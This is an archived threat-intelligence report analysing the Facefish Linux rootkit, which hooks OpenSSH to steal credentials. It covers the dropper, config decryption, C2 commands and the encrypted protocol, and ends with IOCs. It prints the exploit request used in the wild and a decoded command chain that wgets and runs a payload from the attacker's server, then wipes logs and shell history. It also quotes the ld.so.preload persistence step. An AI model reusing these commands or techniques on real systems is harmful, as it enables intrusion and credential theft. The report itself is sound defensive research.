Analysis report of the Facefish rootkit By Alex.Turing Published: 2021-05-27 Β· Archived: 2026-04-05 18:53:39 UTC Background In Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literarily 0 hit for the C2 traffic. So we moved on. On 4/26/2021, Juniper published a blog about this sample, we noticed that some important technical details were not mentioned in that blog, so we decided to complete and publish our report. The ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did not name it, so we gave it a name Facefish , as the Dropper released different rootkits at different times, and Blowfish encryption algorithm has been used. Facefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network communication, and targets Linux x64 systems. Overview Facefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring3 layer and is loaded using the LD_PRELOAD feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish can be characterized as a backdoor for Linux platform. The main functions of Facefish are Upload device information Stealing user credentials Bounce Shell Execute arbitrary commands The basic process is shown in the following diagram. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 1 of 22 Propagation method The vulnerabilities exploited in the wild are shown below POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wge Host: xx.xxx.xxx.xx:2031 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 0 After decoding the part related to Facefish, the following execution command sequence is obtained, which can be seen that the main function is to download the payload of the first stage of execution, and then clean up the traces. cd /usr/bin; /usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; chmod 0777 /usr/bin/sshins; ls -al /usr/bin/sshins; ./sshins; cat /etc/ld.so.preload; rm -rf /usr/bin/sshins; sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; history -c Reverse Analysis In simple terms, Facefish's infection procedure can be divided into 3 stages Stage 0: Preliminary stage, spread through the vulnerability and implanted Dropper on the device Stage 1: Release stage, Dropper releases the Rootkit https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 2 of 22 Stage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution of the instructions issued by C2 Let’s take a look at Stage 1 and Stage 2. Stage 1: Dropper Analysis Dropper's base information is shown below, the main function is to detect the running environment, decrypt the Config and get C2 information, configure Rootkit, and finally release and start Rootkit. MD5:38fb322cc6d09a6ab85784ede56bc5a7 ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped Packer: UPX It is worth mentioning that Dropper uses some tricks to counteract the detection of antivirus at the binary level. Trick 1:upx with overlay As shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx shelling. The purpose of this approach is twofold: 1. Counteracting upx decapsulation 2. The Config data is decoupled from the sample, so that the Config can be updated by the tool without compiling the source code, which is convenient for circulation in the black market. Trick 2:elf without sections As shown in the figure below, the section information in the sample is erased after the shell is removed https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 3 of 22 The purpose of this approach is also twofold: Some tools that rely on section information for analysis do not work properly, and erasing sections makes analysis more difficult to a certain extent. Some antivirus engines rely on the section information to generate the detection area of the feature, erase the section might blindfold some antivirus engines. Dropper's main features Dropper will output the following information when it runs Based on this information, we can divide Dropper's functions into the following 4 stages 1. Detecting the runtime environment 2. Decrypting Config 3. Configure Rootkit 4. Release and start Rootkit 0x1:Detect the running environment https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 4 of 22 Read the first 16 bytes of /bin/cat , and determine the current system's bit number by checking the value of the 5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root privileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails, Facefish will give up the infection and exit directly. 0x2:Decrypting Config The original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of the file in the form of overlay. The decryption key&iv of Blowfish is as follows. key:buil iv:00 00 00 00 00 00 00 00 It is worth mentioning that when using Blowfish, its author played a little trick to "disgust" security researchers during the coding process, as shown in the following code snippet. At first glance, one would think that the key for Blowfish is "build". Note that the third parameter is 4, i.e. the length of the key is 4 bytes, so the real key is "buil". https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 5 of 22 Take the original Config as an example. BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59 5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56 E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2 00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69 EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1 A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF 71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1 BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7 The decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443). The specific meaning of each field is as follows: offset length meaning 0x00 4 magic 0x0c 4 interval 0x10 4 offset of c2 0x14 4 port 0x20(pointed by 0x10) c2 After the decryption is completed, the following code snippet is used to verify the Config, the verification method is relatively simple, that is, compare the magic value is not 0xCAFEBABE , when the verification passed, enter the configuration Rootkit stage. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 6 of 22 0x3:Configure Rootkit Firstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and the Config obtained from the previous stage is re-encrypted with the new key. Then use the flag 0xCAFEBABEDEADBEEF to locate the specific location of the Rootkit in the Dropper and write the new encryption key and the re-encrypted Config information. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 7 of 22 The changes to the file are shown below. Before writing. After writing. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 8 of 22 In this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at different times is different, and we speculate that this design is used to counteract the black and white HASH detection of the antivirus. It is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation is relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if so, the EI_OSABI value in Rootkit is modified to 9. 0x4: Release and start Rootkit Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload. /lib64/libs.so Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application /etc/init.d/sshd restart /etc/rc.d/sshd restart service ssh restart systemctl restart ssh systemctl restart sshd.service The actual effect is shown below. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 9 of 22 At this point Dropper's task is complete and Rootkit starts working. Stage 2:Rootkit Analysis Facefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its basic information is as follows. MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped In IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they will replace libc's function of the same name and implement hook. init_proc function, its main function is to hook ssh/sshd process related functions in order to steal login credentials. The bind function, whose main function is to report device information and wait for the execution of C2 commands. The start function, whose main function is to calculate keys for the key exchange process in network communication. Analysis of the .init_proc function The .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if the process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials and sends them to C2. 0x1 Finding SSH If the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the link_map to iterate through the modules loaded by the current process to find SSH-related modules. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 10 of 22 If the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the .got.plt table. After getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple way, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only attacks the OpenSSH implementation of client/server. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 11 of 22 1:usage: ssh 2:OpenSSH_ 0x2 HOOK function First, Facefish looks for the address of the function to be hooked where the ssh function to be hooked is shown as follows. The sshd function to be hooked is shown below. If it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function is located indirectly through the string in the function. Finally, the Hook is implemented by the following code https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 12 of 22 snippet The actual comparison before and after HOOK is shown below. 0x3 Stealing login credentials Facefish steals the login credentials with the help of the function after Hook and reports it to C2. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 13 of 22 The reported data format is %08x-%08x-%08x-%08x,%s,%s,%s,%s,%s , where the first 32 sections are the encrypted key, followed by the account number, remote host, password and other information. The information reported in practice is shown below. bind function analysis Once the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior, as follows. If the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2 connection, and the parent process will call the real bind function through syscall(0x68/0x31). 0x1: Host behavior Determine if the sshd parent process exists, if the parent process exits, the backdoor process also exits. If the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 14 of 22 CPU model Memory Hard disk Network device https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 15 of 22 SSH service related 0x2: Introduction to C2 commands Facefish uses a complex communication protocol and encryption algorithm, among which the instructions starting with 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a brief explanation of the C2 functional instructions. Send 0x305 Whether to send the registration information 0x305, if not, collect the information and report it. Send 0x300 https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 16 of 22 Function to report stolen credential information Send 0x301 Collect uname information, group packets and send 0x301, wait for further instructions Receive 0x302 Accept command 0x302, reverse shell. Receive 0x310 Accept command 0x310, execute any system command https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 17 of 22 Send 0x311 Send instruction 0x311 to return the result of bash execution Receive 0x312 Accept instruction 0x312 to re-collect and report host information 0x3: Communication protocol analysis Rootkit's communication process uses DH (Diffie–Hellman) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each session is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to encrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics. Generally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL library, and the author of Facefish has coded (or used some open source projects) the whole communication process himself, and the code size is very compact because no third-party libraries are introduced. DH communication principle The whole communication protocol is based on the DH framework, so we need to understand the DH communication principle briefly first. Without discussing the mathematical principle behind, we use a simple example to describe the communication process directly by formula. Step 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates the public key A (𝐴 = 𝑔 π‘Ž mod𝑝 = 54 mod23 = 4), then sends p, g, and A to B at the same time. Step 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to calculate the public key B (𝐡 = 𝑔 𝑏 mod𝑝 = 5 3 mod23 = 10), then sends B to A. At the same time, B calculates the communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key 𝑠 = 𝐴 𝑏 mod𝑝 = (𝑔 π‘Ž ) 𝑏 mod𝑝 = 18. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 18 of 22 step 3. A receives B and also calculates the communication key 𝑠 = 𝐡 π‘Ž mod𝑝 = (𝑔 𝑏 ) π‘Ž mod𝑝 = 18 step 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and decrypt the communication data. In essence, a simple derivation shows that A and B computes by the same formula. 𝑠 = 𝐡 π‘Ž mod𝑝 = (𝑔𝑏 ) π‘Ž mod𝑝 = 𝑔 π‘Žπ‘ mod𝑝 = (π‘”π‘Ž ) 𝑏 mod𝑝 = 𝐴 𝑏 mod𝑝 There is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When x and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function mentioned earlier is the key code in the fast power binpow(). https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 19 of 22 Protocol analysis Sending and receiving packets use the same data structure. struct package{ struct header{ WORD payload_len; //payload length WORD cmd; //cmmand DWORD payload_crc; // payload crc } ; struct header hd; unsigned char payload[payload_len]; // payload } As an example, the 0x200 instruction packet can be defined as follows. struct package pkg = { .hd.payload_len = 0; .hd.cmd = 0x200; .hd.payload_crc = 0; .payload = ""; https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 20 of 22 } Against the DH communication principle and traffic data we analyze the communication protocol. 1. bot first sends instruction 0x200, payload data is empty. 2. C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small end, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a, g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758. 3. Corresponding to step2, bot generates a random number b locally, and then generates B=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus completing the exchange of session keys. 4. Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B. Where iv is obtained by dissimilarity of p and g. https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 21 of 22 With iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted using BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends 0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish encryption. The decrypted uplink packet data is as follows. IOC Sample MD5 38fb322cc6d09a6ab85784ede56bc5a7 sshins d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so C2 176.111.174.26:443 Source: https://blog.netlab.360.com/ssh_stealer_facefish_en/ https://blog.netlab.360.com/ssh_stealer_facefish_en/ Page 22 of 22